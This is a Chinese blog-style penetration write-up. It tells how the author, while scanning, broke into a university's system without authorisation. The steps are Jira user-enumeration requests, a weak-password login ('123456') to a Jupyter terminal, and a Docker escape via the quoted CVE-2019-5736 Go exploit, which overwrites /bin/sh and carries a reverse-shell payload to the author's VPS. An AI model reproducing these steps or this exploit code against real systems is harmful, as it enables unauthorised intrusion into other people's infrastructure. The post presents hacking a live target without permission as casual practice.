偶然的一次渗透从弱口令->docker逃逸

0x01 前言

前两天一直在学习Python造轮子,方便自己前期信息收集,测试脚本进行批量扫描的时候,无意中点开的一个带有edu域名,便有此文。

0x02 前期信息收集

Web整体架构:

操作系统:Ubuntu
Web服务器: Nginx+Java
端口开放信息: 80 443

目录扫描结果

偶然的一次渗透从弱口令->docker逃逸_第1张图片

0x03 挨个测试

可以看到,扫描到了一个"jira目录",猜想是Jupyter NoteBook组件.

偶然的一次渗透从弱口令->docker逃逸_第2张图片

访问果不其然,Jupyter组建的登陆点

偶然的一次渗透从弱口令->docker逃逸_第3张图片

其他3个有效目录都是登陆点

  • gitlab

偶然的一次渗透从弱口令->docker逃逸_第4张图片

  • ownclou

偶然的一次渗透从弱口令->docker逃逸_第5张图片

 

  • confluence

偶然的一次渗透从弱口令->docker逃逸_第6张图片

我晕~要让我爆破吗,先放着.由于Jupyter组件,到网上查阅历史漏洞

我晕~要让我爆破吗,先放着,由于Jupyter组件,到网上查阅历史漏洞

未授权+2个信息泄露

未授权访问漏洞修复了,需要密码

偶然的一次渗透从弱口令->docker逃逸_第7张图片

利用信息泄露爆用户

Exp1:

/jira/secure/ViewUserHover.jspa?username=admin

Exp2:

/jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true

偶然的一次渗透从弱口令->docker逃逸_第8张图片

存在用户的话是会返回用户信息的,然后爆破~

偶然的一次渗透从弱口令->docker逃逸_第9张图片

爆破出一个“Kevin”用户

掏出我珍藏几天的字典爆密码去~

偶然的一次渗透从弱口令->docker逃逸_第10张图片

然后啥也没

偶然的一次渗透从弱口令->docker逃逸_第11张图片

0x04 突破点

剩下最后一个登陆口了,修复了的未授权访问,怎么不修信息泄露呢?

偶然的一次渗透从弱口令->docker逃逸_第12张图片

 

随手一个"123456"

偶然的一次渗透从弱口令->docker逃逸_第13张图片

竟然...给我进来了(人要傻了)
那么就好办了,按照历史漏洞

New->Terminal

直接可以执行命令

图片

习惯性的去根目录,看看有啥文件

偶然的一次渗透从弱口令->docker逃逸_第14张图片

看到'.dockerenv'文件,不是吧不是吧,在裸奔的我有点慌,难道踩罐了?

图片

查询系统进程的cgroup信息

偶然的一次渗透从弱口令->docker逃逸_第15张图片

docker没错了,蜜罐的可能性不大,因为是部署在某知名大学的一个办公系统的.

0x05 docker逃逸

之前从没实战碰到过docker,也没复现过docker逃逸这个洞,这个点就折腾了比较久.

 

参考文章: https://www.freebuf.com/articles/web/258398.html
CVE-2019-5376这个漏洞是需要重新进入docker才能触发.才能弹回来shell的.而我们上面正好是可以直接进入docker终端,于是尝试利用

Poc:
https://github.com/Frichetten/CVE-2019-5736-PoC
修改main.go此处更改为弹shell命令

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lcx/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
    "fmt",
    "io/ioutil"
    "os"
    "strconv"
    "strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& xxxxxxxxxxxxxxxxxxxxxxxxxxx 0>&1"

func main() {
    // First we overwrite /bin/sh with the /proc/self/exe interpreter path
    fd, err := os.Create("/bin/sh")
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Fprintln(fd, "#!/proc/self/exe")
    err = fd.Close()
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println("[+] Overwritten /bin/sh successfully")

    // Loop through all processes to find one whose cmdline includes runcinit
    // This will be the process created by runc
    var found int
    for found == 0 {
    

完了之后发现自己没有go语言环境

偶然的一次渗透从弱口令->docker逃逸_第16张图片

听说Mac自带go语言环境,认识个表哥正好用的Mac,于是找他帮忙编译

偶然的一次渗透从弱口令->docker逃逸_第17张图片

这就是"尊贵的Mac用户"吗,哈哈哈哈
自己折腾了一套go语言环境也是成功编译了.
到之前弱口令进入的Jupyter组件上传exp到目标Web站点

图片

我们这边VPS监听1314端口

偶然的一次渗透从弱口令->docker逃逸_第18张图片

靶机运行我们的Exp

偶然的一次渗透从弱口令->docker逃逸_第19张图片

然后我们回到Jupyter那个组件,重新进入终端界面

偶然的一次渗透从弱口令->docker逃逸_第20张图片

然后莫名其妙没弹回来shell,乱晃悠发现是我自己VPS端口问题,换个端口,成功弹回来主机shell

偶然的一次渗透从弱口令->docker逃逸_第21张图片

结语

貌似部署在阿里云上面的,未授权原因就不再继续深入了,交洞收工!

 

偶然的一次渗透从弱口令->docker逃逸_第22张图片

你可能感兴趣的:(Web安全)